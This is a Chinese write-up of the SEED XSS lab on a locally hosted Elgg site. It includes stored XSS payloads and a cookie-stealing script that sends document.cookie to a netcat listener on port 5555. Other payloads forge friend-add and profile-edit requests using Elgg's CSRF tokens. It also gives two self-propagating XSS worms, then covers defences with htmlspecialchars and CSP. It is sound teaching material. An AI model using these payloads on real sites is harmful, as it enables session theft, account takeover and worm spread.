这个实验主要是利用CSRF攻击来完成一些恶意的操作。由于整个实验过程要用到网站,这里先配置一下。

网站都部署在本地,且用域名访问,所以我们需要现在 /etc/hosts文件中设置域名到 IP 的映射关系。内容如下:

127.0.0.1       www.xsslabelgg.com

网站使用Apache作为服务器,在 /etc/apache2/sites-available/000-default.conf配置一下网站主目录,内容如下:

<VirtualHost *:80>ServerName http://www.xsslabelgg.comDocumentRoot /var/www/XSS/Elgg
</VirtualHost>

事实上,上面两部分环境中早已配置好,无需我们操心。

最后使用下面命令启动apache2

sudo service apache2 restart

输入网站地址,可以清楚看到首页

1. Task 1

这部分主要是利用XSS攻击来显示一句恶意的话。

登录Boby的账户,修改Profile,将简介修改为下面的内容并保存

<script>alert("You have been attacked!!");</script>

返回自己的注意,可以看到下面的弹框

同时其他人或者未登录的人访问他的主页也能看到这样的弹框,攻击成功

如果想嵌入比较长的JS代码,可以将简介修改为下面的内容并保存, src改成JS脚本的路径即可。

<script type="text/javascript" src="http://www.example.com/myscripts.js">
</script>

2. Task 2

这个部分主要是利用XSS攻击来显示访问的Cookies, 原理同上,只要将上面的脚本修改如下即可

<script>alert("You have been attacked!! cookie:" + document.cookie);</script>

Boby查看自己的主页时的弹出框如下,可以看到显示了自己访问的Cookie,其他网站用户查看Boby主页也能看到自己访问的Cookie。

未登录用户查看Boby的主页时的弹出框如下,也显示了访问的Cookie,但是他们Cookie值相对较少

3. Task 3

这部分主要是利用XSS攻击偷取受害者的Cookie。将上面的脚本修改为下面的内容,其他不变。

<script>document.write("<img src='http://127.0.0.1:5555?c=" + document.cookie + "\'>");</script>

原理就是在DOM插入一个图片,其地址中包含Cookie,请求时就会将Cookie发送给恶意服务器。

攻击前先用下面的命令在本地监听访问Boby主页发来的Cookie。

nc -l 5555 -v

Boby查看自己的主页时服务器收到的请求如下,红框内即为收到的Cookie

未登录用户查看Boby的主页时服务器收到的请求如下,红框内即为收到的Cookie。与之前的结果保持一致,攻击成功。

4. Task 4

这部分主要是利用XSS攻击让受害者自动添加用户Army为好友。

用Boby账户添加Army为好友,请求如下,我们只要用JS脚本模拟出这个请求即可。再移除Army好友。

将上面的脚本修改为下面的内容,由于脚本内容太长,一般的框放不下,只能放在About Me中。注意要放在Edit HTML模式中。Edit HTML模式不会对你的输入进行修改,

而普通的Editor Mode会给你的输入加上各种标签,如把每行的内容都放在p标签中

<script type="text/javascript">window.onload = function () {var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;var token="&__elgg_token="+elgg.security.token.__elgg_token;var sendurl="/action/friends/add?friend=47" + ts + token + ts + token;Ajax=new XMLHttpRequest();Ajax.open("GET",sendurl,true);Ajax.setRequestHeader("Host","www.xsslabelgg.com");Ajax.setRequestHeader("X-Requested-With","XMLHttpRequest");Ajax.send();
}
</script>

以Boby自己为例,先取消Samy好友,再访问自己主页,然后回去看可以看到已成功添加Samy为好友

换成其他用户访问Boby主页也会自动添加Army为好友,这里用Alice进行测试。

要注意的是,实验文档给出的脚本存在问题,请求头中缺少了X-Requested-With字段,请求会报错,如下

可能是后台在处理请求时会对此字段进行处理,不符合的会报302错误。

Q1: 解释脚本中的ts和token的作用

A1: ts 和 token其实就是防御CSRF攻击的秘密令牌,在请求时会被发送到服务端进行校验,校验通过请求才有效。这里我们模拟发送添加好友请求自然也要在请求中附带这些令牌值。

Q2: 如果没有Edit HTML模式,只能用普通的Editor Mode,还能攻击成功吗?

A2:不可以。因为它会在代码中添加各种标签并转义一些符号,如把<变成&lt;  所以攻击不可能成功。下面是一个例子,展现了变换前后的代码

5. Task 5

这部分主要是利用XSS攻击修改别人的主页,即修改访问Samy主页的用户的主页。

用Srmy账户修改主页,POST请求如下:

body部分如下:

将上面的脚本修改为下面的内容,模拟修改主页的请求

<script type="text/javascript">
window.onload = function(){var name="&name="+elgg.session.user.name;var guid="&guid="+elgg.session.user.guid;var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;var token="&__elgg_token="+elgg.security.token.__elgg_token;var description = "&description=Your profile have been attacked!!!";var content=token + ts + description + guid + name;var samyGuid=47;if(elgg.session.user.guid!=samyGuid){Ajax=new XMLHttpRequest();Ajax.open("POST",sendurl,true);Ajax.setRequestHeader("Host","www.xsslabelgg.com");Ajax.send(content);}
}
</script>

使用Boby账号进行测试,目前Boby主页是空的。

访问Samy主页后主页被修改了,攻击成功。

Q1: 脚本中为什么要判断当前user的guid不等于samy的guid?

A1:因为如果去掉这一行,那么samy修改完主页后会自动跳转回自己的主页,脚本会将samy的主页修改为"You have been attacked"。从而原来的脚本被删除了,因此其他人再访问samy主页时不会被修改主页,攻击失败。这里我们演示一下,使用脚本如下:

<script type="text/javascript">
window.onload = function(){var name="&name="+elgg.session.user.name;var guid="&guid="+elgg.session.user.guid;var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;var token="__elgg_token="+elgg.security.token.__elgg_token;var description = "&description=<p><b>Your profile have been attacked!!!<\/b><\/p>";var content=token + ts + description + guid + name;Ajax=new XMLHttpRequest();Ajax.open("POST","/action/profile/edit",true);Ajax.setRequestHeader("Host","www.xsslabelgg.com");Ajax.setRequestHeader("Content-type", "application/x-www-form-urlencoded");Ajax.send(content);
}
</script>

samy修改完主页后自己的主页如下:

6. Task 6

这部分主要是实现自传播的XSS攻击,主要有两种实现方法。

1. 将脚本放在远端,在主页放入带src属性的script标签,这种方法简单,实现代码短

2. 直接在主页放脚本,要处理修改的脚本和修改的内容功能一致的问题,相对比较复杂。

这里两种方法我都实现以下,如下:

6.1 将脚本放在远程服务器上

先在本地创建一个新的网站,名为 t.com, 用于托管恶意脚本。在/etc/hosts中添加下面一行用于DNS解析

127.0.0.1    www.t.com

再在命令行中输入下面命令启用apache自定义请求头

sudo a2enmod headers

在/etc/apache2/sites-available/000-default.conf中添加一个网站配置,并允许跨站请求,如下:

<VirtualHost *:80>ServerName http://www.t.comDocumentRoot /var/www/t<Directory />Require all grantedAllow from allHeader set Access-Control-Allow-Origin *</Directory>
</VirtualHost>

最后用下面命令重启apache即可

sudo service apache2 restart

创建 /var/www/t/malscript.js 文件,此文件即为script标签的src属性所指向的文件。内容如下,功能与之前类似,只是desciption的内容多了一个script标签,其指向我们的外部恶意脚本。

window.onload = function(){var name="&name="+elgg.session.user.name;var guid="&guid="+elgg.session.user.guid;var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;var token="__elgg_token="+elgg.security.token.__elgg_token;var description = "&description=<p><b>Your profile have been attacked!!!<\/b><\/p><script type=\"text\/javascript\" src=\"http:\/\/www.t.com\/malscript.js\"><\/script>";var content=token + ts + description + guid + name;Ajax=new XMLHttpRequest();Ajax.open("POST","/action/profile/edit",true);Ajax.setRequestHeader("Host","www.xsslabelgg.com");Ajax.setRequestHeader("Content-type", "application/x-www-form-urlencoded");Ajax.send(content);}

此时访问http://www.t.com/malscript.js可以看到恶意脚本的内容

再在samy账号编辑自己主页,介绍内容如下, 与上面的脚本基本一样,只是将其放在script标签中。

<script>
window.onload = function(){var name="&name="+elgg.session.user.name;var guid="&guid="+elgg.session.user.guid;var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;var token="__elgg_token="+elgg.security.token.__elgg_token;var description = "&description=<p><b>Your profile have been attacked!!!<\/b><\/p><script type=\"text\/javascript\" src=\"http:\/\/www.t.com\/malscript.js\"><\/script>";var content=token + ts + description + guid + name;Ajax=new XMLHttpRequest();Ajax.open("POST","/action/profile/edit",true);Ajax.setRequestHeader("Host","www.xsslabelgg.com");Ajax.setRequestHeader("Content-type", "application/x-www-form-urlencoded");Ajax.send(content);}
</script>

samy账号修改完主页后,直接可以看到主页变成如下页面

再用Boby账号去访问Samy主页,Boby主页变成如下所示

再用alice账号去访问Boby账号主页,Alice主页变成如下所示

至此实现了XSS攻击从Samy扩散到Boby再到Alice的过程。

具体过程就是当访问已被攻击的主页时会加载我们的恶意脚本,恶意脚本会修改受害者的主页为"Your Profile have been attacked" 和 一个指向我们恶意脚本的script标签。

这形成了一个递归的过程,当有人再访问此轮受害者的主页时,又会重复上面的过程。因而形成了自扩散的XSS攻击。

6.2 直接在主页嵌入脚本

这部分我们尝试不使用外部脚本实现自扩散XSS攻击。所使用的脚本如下:

<script type="text/javascript" id=worm>window.onload = function(){var name="&name="+elgg.session.user.name;var guid="&guid="+elgg.session.user.guid;var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;var token="__elgg_token="+elgg.security.token.__elgg_token;var description = "&description=<b>Your profile have been attacked!!!<\/b>"var scriptstr = "<script type=\"text\/javascript\" id=worm>" + document.getElementById("worm").innerHTML + "<\/script>";var content=token + ts + description + encodeURIComponent(scriptstr) + guid + name;Ajax=new XMLHttpRequest();Ajax.open("POST","/action/profile/edit",true);Ajax.setRequestHeader("Host","www.xsslabelgg.com");Ajax.setRequestHeader("Content-type", "application/x-www-form-urlencoded");Ajax.send(content);}</script>

具体过程与之前的修改主页过程类似。只不过修改的内容包含整个我们的恶意脚本,这部分内容不可能静态的写成字符串放在脚本内,因此我们要用脚本从DOM中读取恶意脚本的内容,拼接起来在发送请求即可。其中encodeURIComponent是用来将发送的数据用URL Encoding格式编码。

将上面的脚本放到Samy的主页中,用Boby的账号访问Samy的主页,结果如下:

再用Alice的账号访问Boby的主页,结果如下。

说明攻击成功,至此实现了XSS攻击从Samy扩散到Boby再到Alice的过程。

6.3 防御策略

这部分主要是指出两个防御策略。

1. 使用一个插件,他可以移除用户输入中的一些HTML标签,可以使用管理员账号在后台打开,如下

打开后我们输入的恶意脚本的一些标签,如<script>等标签会被移除,从而丧失功能,这里就不演示了。

2.使用一个PHP的内置函数,htmlspecialchars(), 他可以将一些将用户输入中的特殊字符再编码,如把<编码成&lt从而使脚本失效。具体而言就是将/var/www/XSS/Elgg/vendor/elgg/elgg/views/ default/output/下 text.php, url.php, dropdown.php, email.php 这几个文件中反注释调用htmlspecialchars函数的地方。

如下所示,此文件为/var/www/XSS/Elgg/vendor/elgg/elgg/views/ default/output/text.php, 其他文件类似。

这两个弄完再访问Samy主页可以发现,Samy主页显示如下:

尽管主页还是显示You profile have been attacked!!! 但后台根本没有发送edit的请求

查看HTML源码可以发现script标签被移除了,从而显示了恶意脚本而没有执行,攻击失败。

7. Task 7

这部分主要讲利用CSP防御XSS攻击。从https://seedsecuritylabs.org/Labs_16.04/Web/Web_XSS_Elgg/files/csp.zip下载代码到本地。

其中用到的py代码如下,它主要是响应浏览器的请求,返回静态文件。

#!/usr/bin/env python3
from http.server import HTTPServer, BaseHTTPRequestHandler
from urllib.parse import *class MyHTTPRequestHandler(BaseHTTPRequestHandler):def do_GET(self):o = urlparse(self.path)f = open("." + o.path, 'rb')self.send_response(200)self.send_header('Content-Security-Policy',"default-src 'self';""script-src 'self' *.example68.com:8000 'nonce-1rA2345' ")self.send_header('Content-type', 'text/html')self.end_headers()self.wfile.write(f.read())f.close()httpd = HTTPServer(('127.0.0.1', 8000), MyHTTPRequestHandler)
httpd.serve_forever()

使用到的测试HTML内容如下

<html>
<h2 >CSP Test</h2>
<p>1. Inline: Correct Nonce: <span id=’area1’>Failed</span></p>
<p>2. Inline: Wrong Nonce: <span id=’area2’>Failed</span></p>
<p>3. Inline: No Nonce: <span id=’area3’>Failed</span></p>
<p>4. From self: <span id=’area4’>Failed</span></p>
<p>5. From example68.com: <span id=’area5’>Failed</span></p>
<p>6. From example79.com: <span id=’area6’>Failed</span></p><script type="text/javascript" nonce="1rA2345">
document.getElementById("area1").innerHTML = "OK";
</script><script type="text/javascript" nonce="2rB3333">
document.getElementById("area2").innerHTML = "OK";
</script><script type="text/javascript">
document.getElementById("area3").innerHTML = "OK";
</script>
<script src="script1.js"> </script>
<script src="http://www.example68.com:8000/script2.js"> </script>
<script src="http://www.example79.com:8000/script3.js"> </script>
<button onclick="alert('hello')">Click me</button>
</html>

再编辑/etc/hosts文件,添加下面三行,设置好DNS。

127.0.0.1       www.example32.com
127.0.0.1       www.example68.com
127.0.0.1       www.example79.com

最后运行上面的PY脚本。

7.1 测试不同链接的页面

要测试的三个链接如下:

1. http://www.example32.com:8000/csptest.html 页面显示如下,按钮点击无反应

原因分析:服务器返回CSP策略内容为"default-src 'self';" "script-src 'self' *.example68.com:8000 'nonce-1rA2345' ",表明只有同源的和来自 *.example68.com:8000的引入式代码,nonce值为1rA2345的嵌入式代码可以执行

字段一的script为嵌入式,nonce值为1rA2345,与策略匹配,可以执行,因此字段一显示OK

字段二的script为嵌入式,nonce值为2rB3333,与策略不匹配,不可以执行,因此字段二显示Failed

字段三为嵌入式,无nonce值,与策略不匹配,不可以执行,因此字段三显示Failed

字段四为同源的引入式,与策略匹配,可以执行,因此字段四显示OK

字段五为不同源的引入式,来源www.example68.com:8000 与策略匹配,可以执行,因此字段五显示OK

字段六为不同源的引入式,来源www.example79.com:8000 不在允许范围内,与策略不匹配,不可以执行,因此字段五显示Failed

按钮的点击响应代码为嵌入式,无nonce值,与策略不匹配,不可以执行,因此点击无反应

2. http://www.example68.com:8000/csptest.html 页面显示如下,按钮点击无反应

原因分析:服务器返回CSP策略内容为"default-src 'self';" "script-src 'self' *.example68.com:8000 'nonce-1rA2345' ",表明只有同源的和来自 *.example68.com:8000的引入式代码,nonce值为1rA2345的嵌入式代码可以执行

字段一的script为嵌入式,nonce值为1rA2345,与策略匹配,可以执行,因此字段一显示OK

字段二的script为嵌入式,nonce值为2rB3333,与策略不匹配,不可以执行,因此字段二显示Failed

字段三为嵌入式,无nonce值,与策略不匹配,不可以执行,因此字段三显示Failed

字段四为同源的引入式,与策略匹配,可以执行,因此字段四显示OK

字段五为同源的引入式,与策略匹配,可以执行,因此字段五显示OK

字段六为不同源的引入式,来源www.example79.com:8000 不在允许范围内,与策略不匹配,不可以执行,因此字段五显示Failed

按钮的点击响应代码为嵌入式,无nonce值,与策略不匹配,不可以执行,因此点击无反应

3. http://www.example79.com:8000/csptest.html 页面显示如下,按钮点击无反应

原因分析:服务器返回CSP策略内容为"default-src 'self';" "script-src 'self' *.example68.com:8000 'nonce-1rA2345' ",表明只有同源的和来自 *.example68.com:8000的引入式代码,nonce值为1rA2345的嵌入式代码可以执行

字段一的script为嵌入式,nonce值为1rA2345,与策略匹配,可以执行,因此字段一显示OK

字段二的script为嵌入式,nonce值为2rB3333,与策略不匹配,不可以执行,因此字段二显示Failed

字段三为嵌入式,无nonce值,与策略不匹配,不可以执行,因此字段三显示Failed

字段四为同源的引入式,与策略匹配,可以执行,因此字段四显示OK

字段五为不同源的引入式,来源www.example68.com:8000 与策略匹配,可以执行,因此字段五显示OK

字段六为同源的引入式,与策略匹配,可以执行,因此字段六显示OK

按钮的点击响应代码为嵌入式,无nonce值,与策略不匹配,不可以执行,因此点击无反应

7.2 修改服务器代码

这部分主要是修改服务器代码使得字段一,二,四,五,六在三个链接中全部显示OK。

字段一和二的script为嵌入式,且字段一script的nonce值已在CSP策略中,只要将字段而的nonce值添加进CSP策略中即可。

字段四五六script为引入式,字段四script为同源,可以执行无需修改,字段五script来源已在CSP策略中,只要将字段六script来源 www.example79.com:8000 添加进CSP策略中即可。

最后代码如下:

#!/usr/bin/env python3from http.server import HTTPServer, BaseHTTPRequestHandler
from urllib.parse import *class MyHTTPRequestHandler(BaseHTTPRequestHandler):def do_GET(self):o = urlparse(self.path)f = open("." + o.path, 'rb') self.send_response(200)self.send_header('Content-Security-Policy', "default-src 'self';""script-src 'self' *.example68.com:8000 *.example79.com:8000 'nonce-1rA2345' 'nonce-2rB3333' ")     self.send_header('Content-type', 'text/html')self.end_headers()self.wfile.write(f.read())f.close()httpd = HTTPServer(('127.0.0.1', 8000), MyHTTPRequestHandler)
httpd.serve_forever()

撒花完结!!!!

信息安全 SEED Lab8 Cross-Site Scripting (XSS) Attack Lab相关推荐

  1. Reflected Cross Site Scripting (XSS)

    前言 反射型XSS, 即 Reflected Cross Site Scripting (XSS),  攻击者事先制作好攻击链接, 需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的 页 ...

  2. (SEED-LabCross-Site Scripting (XSS) Attack Lab跨站脚本攻击实验

    (SEED-LabCross-Site Scripting (XSS) Attack Lab 跨站脚本攻击实验 欢迎大家访问我的GitHub博客 https://lunan0320.cn 文章目录 一 ...

  3. 漏洞挖掘——实验12 Cross-Site Scripting (XSS) Attack Lab

    漏洞挖掘前言 题目 Lab Cross-Site Scripting (XSS) Attack Lab Pre 1.名词解释:double free,UAF (Use After Free),RELR ...

  4. DVWA-Reflected Cross Site Scripting (XSS)

    实验环境: DVWA靶机:172.16.12.10 靶场用户名:admin 密码:123 windos攻击机:172.16.12.7 kali攻击机:172.16.12.30 实验步骤: 反射型Xss ...

  5. DVWA关卡11:Reflected Cross Site Scripting (XSS)(反射型XSS)

    目录 Low Medium High Impossible 反射型XSS:恶意脚本未经转义被直接输入并作为HTML输出的一部分,恶意脚本不在后台存储,直接在前端浏览器被执行. 攻击者可以使用XSS向恶 ...

  6. 跨站脚本攻击(Cross‐Site Scripting (XSS))实践

    作者发现博客园在首页显示摘要时未做html标签的过滤,致使摘要中的html代码可以被执行,从而可以注入任何想要被执行的js代码,作者利用这一缺陷在本文摘要中插入了一段js代码执行alert弹窗,同时增 ...

  7. XSS(Cross Site Scripting)攻击简介

    环境 Ubuntu 22.04 IntelliJ IDEA 2022.1.3 JDK 17.0.3.1 Spring Boot 3.0.1 Firefox 108.0.2 问题和分析 在Intelli ...

  8. DVWA V1.9:Reflected Cross Site Scripting(存储型XSS)

    DVWA V1.9:Reflected Cross Site Scripting(存储型XSS) 存储型 XSS 介绍 Low 级别 核心代码 官方提示 漏洞利用 Medium 级别 核心代码 官方提 ...

  9. CHECKMARX安全漏洞检测防止XSS(Cross Site Scripting)跨站脚本攻击

    CHECKMARX安全漏洞检测防止XSS跨站脚本攻击 总结CHECKMARX软件安全检测报告高危风险漏洞处理方式 高危警告内容 This can enable a Reflected Cross-Si ...

最新文章

  1. ​AI 面试“泛滥”的时代,HR该如何甄别真假“AI”?
  2. 记账本开发进程第四天
  3. js原生代码编写一个鼠标在页面移动坐标的检测功能,兼容各大浏览器
  4. 前端学习(663):逻辑中断逻辑与
  5. oracle工程师考试题,信息安全工程师考试练习试题及答案(三)
  6. POJ NOI0113-6 最长单词2【文本处理】
  7. Cacti监控Memcached时Count Stats和Memory/Structures没数据
  8. 剑指offer题目系列一
  9. [Algo] Print Matrix Diagonal 对角打印
  10. 关于如何在代码里区分条码扫描扫描到是是一维码还二维码
  11. 张宇:【线性代数】公式汇总!
  12. 北航计算机本科生考研,和计算机考研的师弟师妹们分享一下经验本人本科北航...
  13. 蓄电池充电c语言程序,蓄电池的充电方法和蓄电池工作原理
  14. 计算机组成原理-计算机可靠性模型(串联并联系统/串并联混合系统)
  15. 唯美雪景雪花飘落代码,附效果演示
  16. opencv-python 中文显示在图像上
  17. AI岗位平均月薪2.58w,如何抓住这波人才红利?
  18. (完美解决)应用程序无法正常启动(0xc000007b),请单击确定关闭应用程序的解决方案
  19. java图片透明度,Java检查图像是否具有透明度
  20. ❤️ 6个Python办公黑科技,工作效率提升100倍!HR小姐姐都馋哭了(附代码)❤️

热门文章

  1. 【java基础】——一维数组和二维数组存储占用内存大小问题
  2. 【Verilog基础】用与非门、或非门构成或门、与门、非门
  3. Ubuntu Conda和pip安装Pytorch失败解决 | pytorch安装网络问题 | pip国内源无效
  4. 生产者与消费者模式(理解)
  5. PTA:7-34 通讯录的录入与显示 (10分)
  6. 那些年使用appium-Uiautomator2遇到的问题解决方法!
  7. 访存控制信号——IO/M(M上方带横杠)
  8. iOS开发中常用到的第三方库
  9. 华中农业大学python期末考试试卷_华中农业大学本科课程期末考试试卷
  10. 【信仰充值中心】Firefox 96 正式版用户特性介绍